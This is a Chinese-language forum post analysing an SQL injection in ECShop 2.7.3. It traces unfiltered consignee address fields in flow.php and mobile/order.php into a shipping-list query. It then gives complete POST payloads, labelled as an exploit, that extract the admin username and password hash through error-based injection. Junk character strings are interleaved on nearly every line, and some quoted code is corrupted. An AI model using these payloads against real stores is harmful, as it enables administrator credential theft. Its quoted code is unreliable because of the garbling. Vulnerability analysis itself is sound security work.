前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。; D/ }% W( t; O- Z
5 v" U2 }3 t. B7 O3 W0 @
漏洞关键文件:6 \5 p, t% t" _2 ]/ B. X
d- Q0 @) a6 c" r5 ?1 E
/includes/lib_order.php
) l) L" u" s1 H4 m) o2 Y
" R5 r. ]; M! a; Q5 t 关键函数:0 P8 V) `8 K, X Y7 f
* R. t4 s) _8 p1 V# x, h
0 Z7 e: |: S8 D' e* @+ ~* i8 D. e/ b# N2 Y
01 function available_shipping_list($region_id_list) : S% Z0 X6 z" z/ r5 B# s
" B9 E( x* V( H2 [1 w9 M02 {
7 p" `& P' z9 `. J) x5 Z$ s
6 `5 ^) p8 e2 Y7 q+ R- l" R03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
2 p6 Y$ \9 u: |& m
% J2 o- K$ u% W/ C; Z04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
1 x8 B; s: X* |% w8 t* q" V$ u# K A& \, B. ^0 V: p0 a
05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . , A2 k0 z$ k8 @! z# a) O
7 L+ j# b' j% j. k9 W6 U+ w; E06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
1 q' [# o* _2 ^! l* [ `2 t6 k) ?) }" H0 [
07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
& b1 R% Q1 _" | t
" C3 h; ~$ @1 N) y08 'WHERE r.region_id ' . db_create_in($region_id_list) .
+ @4 |! P1 n4 g& k& j3 ?% F E: C M( p; I% F; R
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; 9 d9 s \! ^! g5 V* ]$ m
' X. G' D: Z7 o4 i% `8 a10
( |0 C. O& W; u7 {; R7 z7 s3 N8 c; W1 k
11 return $GLOBALS['db']->getAll($sql);
( _4 K- D3 t! J( F" Z. F8 |, _2 F2 Y% ?5 S: {5 o
12 }
# g9 M) ]- X2 b% B Z6 m4 H& N& O/ _- U2 `/ F# J
显然对传入的参数没有任何过滤就带入了查询语句。
, G8 S' V- O# r+ E 8 I' S9 p7 Q3 K/ B3 ~2 [9 {
下面我们追踪这个函数在flow.php中:
( h3 f7 \3 w3 R" E1 m v 第531行: ! K' `7 t* _0 a8 ~) B& b
# x- u# D X+ F' v+ ?4 z5 v" m) G" ~
1 $shipping_list = available_shipping_list($region);
- O8 [: y3 u0 i' [9 C3 s( A: j
' q& l5 P) G+ ~3 V8 U+ h( A
. J u% r5 t2 ~) \ K: l
$ C) I1 `2 U" @- Z1 _ - A, Y1 u1 U/ w" S% B, K" F% O
4 K8 e. O$ [; v2 |+ i再对传入变量进行追踪:
) p k5 F) r- n+ I5 n y
/ O. x) J+ p" d7 L$ q第530行:
4 e+ ?, Q4 A2 B, j
! O* \: p" Z9 f* b1 F! J1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); % K4 K- a- I: q1 C6 ~) q+ @
; V! \# }7 D, Q2 C
* k! Q2 r* [! C' M) y
7 Y. r u9 l* F 2 Q& T& A& n& j
3 G/ [+ L) o9 n: S5 F' \7 ^第473行:
5 L6 C0 a! ?1 t5 {+ n
9 p6 r9 _$ R. r7 | q1 $consignee = get_consignee($_SESSION['user_id']); " j# l |/ c3 @0 C
5 Y0 R; ~8 h+ B# l9 j5 K
到了一个关键函数:1 H& a* {! q/ P7 a/ ]* _( Z. o2 K9 A
9 M6 U8 c ?; A1 p4 a; c" {/includes/lib_order.php
2 \+ d; T6 E, c$ j$ X, ~7 I; U) }4 J% g9 ]( ^( R
/ m" ~5 Q* v, ]% V- c3 p! i I7 E) ~1 ]0 Z. E
6 C- r9 e5 [, n+ n. F3 x" S5 v, `# p/ f/ Y% E+ s; @
01 function get_consignee($user_id)
; E1 E. ?$ i& u$ N. n# O) N: R: k5 ^ _- }& R0 w
02 { k9 D+ `% X2 ?5 {5 @; l
2 ~- z9 h3 D2 P' ^
03 if (isset($_SESSION['flow_consignee']))
, g1 x. c" k0 q0 O4 w o$ |$ C
! F' K1 y$ q' I, k: e. u( X, y6 U04 { ! P" m4 `: H1 @7 S6 i, ~
% q2 Z4 Y" p% l9 p' x
05 /* 如果存在session,则直接返回session中的收货人信息 */ . _% x! x! M: W0 d) s2 Q: Q9 y1 g6 t, y
8 R1 h+ i6 E. V+ H! ?0 y7 d06
: w9 n% w# M5 Q) N- Q+ B' x; E6 {7 V; g, l1 w0 S! s2 Z- K4 B
07 return $_SESSION['flow_consignee']; $ T2 _* q6 i8 r3 i" ~! F' ~
+ [) @+ x2 Q* q7 o08 }
8 A/ S% U1 P* O3 @+ K v
! b- a6 |8 m1 v* h' U09 else
0 G4 j9 v, K: o$ M
! s( e6 V. Z% {( Y" D8 T. L+ A5 a10 { * s- l& C8 `+ v7 S, o% {
6 T) K! `) Z& g1 ^/ D! M+ n9 r: t
11 /* 如果不存在,则取得用户的默认收货人信息 */
8 a8 ]( Y- a; v/ @# @4 g1 E/ ]! k( [) I4 T7 H
12 $arr = array();
& e, h. L; i1 y! t' U. a' U8 }$ t3 K- B
13 + Z G8 C. I$ \8 L2 a7 _( r0 I1 r
2 J9 [) u5 u+ Z& h0 K
14 if ($user_id > 0) " D k- Q/ H- G& r" j
2 B6 i7 C6 u% k" o1 w
15 {
1 m* L. w7 Z% V k8 O# U
I7 Q8 E* o2 K3 {& X16 /* 取默认地址 */ ! k, m+ M6 r: X7 L- `
% j+ v |! z& d8 D17 $sql = "SELECT ua.*". I" {7 ^! a7 @4 r3 h/ a
+ D% a( ~2 W. Q4 O6 _5 d" H18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
" i! l0 R+ [! i; a: R# D2 L3 h% |/ Z! [; L2 B3 Y8 P( s5 k
19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
. l6 J- g3 ~" u" z" u
4 S; H0 V1 y7 l3 u: Z20 1 s z" F. X! M) |. z
" d( v" p3 p$ R/ Y C2 }3 L
21 $arr = $GLOBALS['db']->getRow($sql);
: P! D1 X' X5 g1 c) e4 C K9 e0 V
22 } 9 N+ u; q" l! }
0 p; p9 P8 o# @- x6 j- U0 X6 U/ T23 1 f% V4 g4 T$ I+ ~5 I; N
" S! _& ~/ ^2 M+ D3 V k
24 return $arr; ) [% h/ V& r4 v; h. k* ]9 s, g
) ^ E& t! Q5 n4 S( A25 }
3 c( T+ i* J2 t0 G ~% Q% [
/ c) u* N8 c2 V26 } ( F! N* P1 O ~/ i+ b
3 g3 X5 F, ]- H) ^# u9 g9 I显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
+ L$ `: e/ m( B2 F* i$ ^# B! e2 _8 T, R; f x+ J+ I# N \
$ `/ W$ N: R' Z5 O
2 w2 r- I& e! P+ Q) L/ f( |关键点:: T' F5 P, t: Z* X9 f# J+ `$ x$ D: J
! c* ^" M) R$ k; @第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
1 P' F. N( L3 g m8 U9 X' X
* `( q- y+ [1 u- B. i3 T9 n6 |" Q- p这里对传入参数反转义存入$_SESSION中。
& W5 f2 g6 d% b3 g% _; V9 N0 Z( T- t. G m: G6 |
# F/ C! V' G7 Q# ~
4 W, o: s9 b F0 p+ W. U" a然后看下:( _* }6 d& l( m( r" ?4 W/ }' J" Y9 J% j
; f( H$ O: G5 A6 [% V! Y( I& w
" ?7 Z) _& R+ N8 z6 O. \5 x! K3 d: N3 N1 g& @+ k
& r) `+ T5 v7 d6 t" o/ S: u0 |$ g5 I$ |6 w: N' P% M7 F5 w7 V
01 $consignee = array(
4 t: t6 i: u4 J5 N; @9 d/ Z0 [0 E9 r# w* |) T$ B& p
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']),
9 s' s i& x/ K/ V- J5 M! N- {) {4 l- V% m# B" W# E$ F8 q
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
1 h1 Y5 z8 J7 ?* a- ~4 T! \% J' _# p$ P3 r! }7 x
04 'country' => empty($_POST['country']) ? '' _POST['country'],
/ q; \1 W6 H' T; C9 q6 M0 {6 j
4 X& I5 B$ J0 x8 j3 ~& _6 M" q: N05 'province' => empty($_POST['province']) ? '' _POST['province'],
& Q; w' |0 R7 t, J: m
, j6 H6 t) z, o06 'city' => empty($_POST['city']) ? '' _POST['city'], 0 m h& o! L$ F# M$ _* n" ], ^, {
5 k# R) B3 n; S; |5 b07 'district' => empty($_POST['district']) ? '' _POST['district'],
/ Z V5 Y3 E$ z4 f7 r4 R0 K+ @
% T4 h/ w& W6 n9 v- J! t% |7 k08 'email' => empty($_POST['email']) ? '' _POST['email'], Y; E5 q5 r# `8 e' Y6 V
( a, n- D( ], [" f0 n% [/ n% e09 'address' => empty($_POST['address']) ? '' _POST['address'],
* m" q* y2 r% S: U$ X0 P G6 ^) s! i: p( W: S2 H8 X3 K
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])), + \2 p U# }; @8 x# b/ m
6 ` K# N! O/ S11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), - L. v k6 Z+ j* h' M0 C
6 Z/ L" {- w* J12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
- A, }1 p3 U% _$ e; j# M! o$ b1 j; M- P* t
13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], - s! `) Y; X( x8 e
' o9 j/ l, N' h* r/ N+ u: b& \14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'],
, k! s2 K$ J: K9 i4 e% \. v& h& J1 _
7 A* C k) D4 v. X; ]15 ); v8 ?0 B; E% t" O% i8 c" b
. ?; D% E5 F& x9 S7 g3 k- F; l
好了注入就这样出现了。$ Q$ d0 L* H8 s( q, f
( L- x3 U" |: A# K* x
==================+ [" N2 K7 G; f7 U# l R% n
! c7 _$ K; w( \& L2 F; N( t( a注入测试:2 e1 a% K, Z; z
- w5 S) N. y5 s
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
- n! ]5 j/ ~/ W3 p, h; u) A; r5 \, X+ l/ z# d g" }
测试程序:ECShop_V2.7.3_UTF8_release1106 v% D5 i, b6 p% M/ @/ l* N0 A4 D
9 u; \, \7 r3 A7 t$ v. u
8 Y2 s3 C" \$ K! i6 q5 v ^
; m$ j) Z6 W" E" R1.首先需要点击一个商品加入购物车
) j r2 L- I4 D% E( b6 I# |2 n( H+ L0 j5 J
2.注册一个会员帐号
8 C: L+ U, X2 t4 H( ~+ `; e0 A- @# O
3.post提交数据2 t0 {$ o/ O1 j
1 S1 V0 T- x' g n2 | A
+ E) r5 W/ }0 z& | O2 v8 J+ F( e3 q( ^# \
1 http://127.0.0.1/ecshop/flow.php
G& |5 D% k, G+ C9 B! `6 i8 S$ `6 i/ O3 p; _
2
0 M8 J% p7 H2 d* p- `
1 ? u& n! J5 E6 T6 N3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= 4 D# I& f( k5 G
举一反三,我们根据这个漏洞我们可以继续深入挖掘:
8 i" c! C+ W' i7 ~3 A* r5 e
5 o0 {( ?+ M/ p* r我们搜寻关键函数function available_shipping_list(), s2 m/ \( _: o |& |
* |+ i1 u% S9 ], \$ E# H# R" C在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同0 y6 P2 \9 B$ {
. H: ^! C( @& L$ r
利用exp:
# x: \9 \: |8 q6 _" r
, f$ X+ t9 I8 z3 C( q1.点击一个商品,点击购买商标8 V! j& u0 }/ r+ l* q+ C% ?
+ Y- c+ C& I: Z/ x. r
2.登录会员帐号
) c3 o; a! j' d7 y: C+ S
; k4 n. X' ? d! H; G3.post提交:% P4 C* b& v, K Q+ ]$ b
8 S0 W6 D/ L; n5 d! x
http://127.0.0.1/ecshop/mobile/order.php
4 H1 t! H, c7 a9 }* U) _) R: y: B8 W3 J1 ^$ j i
. m _/ B$ \3 y9 E
2 G. `. q8 P! a! p& K9 s+ \4 } c7 e' @country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=' d, y$ U0 q8 g! \ b+ x1 Y) \
! @7 q/ L+ M& k+ s# U' [! [
|